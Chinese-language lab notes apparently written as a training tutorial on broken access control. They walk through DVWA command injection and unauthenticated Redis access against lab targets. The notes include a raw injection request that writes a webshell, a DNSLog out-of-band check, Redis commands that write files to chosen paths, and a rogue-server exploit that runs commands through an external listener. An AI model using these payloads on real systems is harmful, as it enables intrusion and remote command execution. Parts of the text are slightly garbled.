应该对Web 应用(系统等)实施访问控制策略,限定不同用户的不同权限(访问范围)。如果没控制住,就意味着访问控制失效。
未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。
访问控制强制实施策略,使用户无法在其预期权限之外进行操作。失败的访问控制通常会导致未经授权的信息泄露、修改或销毁所有数据、或在用户权限之外执行业务功能。
权限移动方向
同级别账户中横向移动。
web应用
普通用户获取管理员权限。
操作系统漏洞提权
POST /dvwa_2.0.1/vulnerabilities/exec/source/low.php HTTP/1.1
Host: 192.168.111.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.111.15/dvwa_2.0.1/vulnerabilities/exec/source/
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
ip=127.0.0.0.1|echo+""+>+shell.php&Submit=Submit
ctrl+u:url编码
实验:DVWA靶场中的Command Injection为例
Low级别的源码路径如下
查看源码
退出DVWA靶场
然后访问Low.php该文件的路径,使用bp抓取数据包
删除Cookie数据,因为Cookie携带者身份信息。
转换为POST提交方式,因为源码中是Post提交。
执行命令calc
calc:表示计算器
如果命令执行成功那么在服务器端就会弹出计算器
并且在执行完命令后,页面并没有回显。
问题:那么既然没有回显,是如何验证该漏洞是否存在?
方式一:在当前页面新建文件,如果文件创建成功,证明漏洞存在。
说明:由于有特殊字符使用快捷键ctrl+u进行URL编码
方式二:由于创建文件的动作过大可以使用平台的方式。
网站链接入下:DNSLog Platform。
先创建一个域名
使用域名解析:
nslookup mya6wo.dnslog.cn
如何页面中产生解析记录,代表我们的命令执行成功。从而证明该漏洞的存在。
既然漏洞存在我们可以尝试创建一个一句话木马文件。
echo "" > shell.php
上传成功
蚁剑链接成功
http://192.168.188.183/dvwa/vulnerabilities/exec/source/shell.php
虚拟终端
目录穿越,目录遍历,Directory Traversal。Web用户,通过某种方式,可以访问Web根目录以外的文件,甚至执行系统命令。
造成目录遍历漏洞的原因:
文件包含
文件读取
RCE
…
未授权访问(Unauthorized Access),重要资产根本没有做访问控制限制,导致黑客攻击者可以在没有授权的情况下操作重要资产,包括读写文件,执行命令等敏感操作。
这个漏洞比较倾向于数据库的相关问题。
失效的访问控制漏洞:
综上所述,失效的访问控制漏洞可能对系统安全性造成严重威胁。了解其描述、场景、原理、危害、验证方法、利用方式和防御措施是确保系统安全的重要一步。及时发现和修复这些漏洞,以保护系统和用户的数据安全。
Rdis是非关系型数据库系统,没有库表列的逻辑结构,仅仅以键值对的方式存储数据。
Redis数据库经常用于Web应用的缓存。
Redis可以与文件系统进行交互。
Redis监听TCP/6379。
Redis数据库默认端口:6379。
Redis 未设置密码,客户端工具可以直接链接。
┌──(ajest�� zh-CN)-[~/vulhub/vulhub/redis/4-unacc]
└─$ redis-cli -h 127.0.0.1 127.0.0.1:6379> set name WUHU OK
127.0.0.1:6379> get name "WUHU"
127.0.0.1:6379> config set dir /tmp/
OK
127.0.0.1:6379> config set dbfilename ajest.txt OK
127.0.0.1:6379> save OK
127.0.0.1:6379>
读取数据库内容 | 读写系统文件 | 执行系统命令 |
---|---|---|
数据泄露 | 直接写WebShell 计划任务反弹Shell SSH免密登录 |
redis-rogue-getshell |
启动镜像
服务启动后,通过以下方法在没有凭据的情况下连接到此服务器
redis-cli -h 127.0.0.1
-h:表示连接本机的redis数据库。
并且直接可以看到服务器的信息
Redis数据库还可以读写文件
执行如下命令:
set name xjj
config set dir /tmp/
config set dbfilename wuhu.txt
save
将数据库中的内容存储在tmp目录下的wuhu.txt文件中。
因为连接的是Docker容器的Redis数据库,登录到Docker容器中查看该文件是否存在。
sudo docker exec -it 4447cf636b92 /bin/bash
it后面根容器的ID值
查看wuhu.txt
这样Redis数据库就存在数据泄露。
下载脚本
proxychains git clone https://github.com/vulhub/redis-rogue-getshell.git
先编译
cd RedisModulesSDK
make
执行命令
python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.188.185 -P 8888 -f RedisModulesSDK/exp.so -c "id"
更换双引号内容的命令,就实现了漏洞的利用。
漏洞检测工具:github链接地址。
启动方式:
python3 unauthorized_com.py -i 127.0.0.1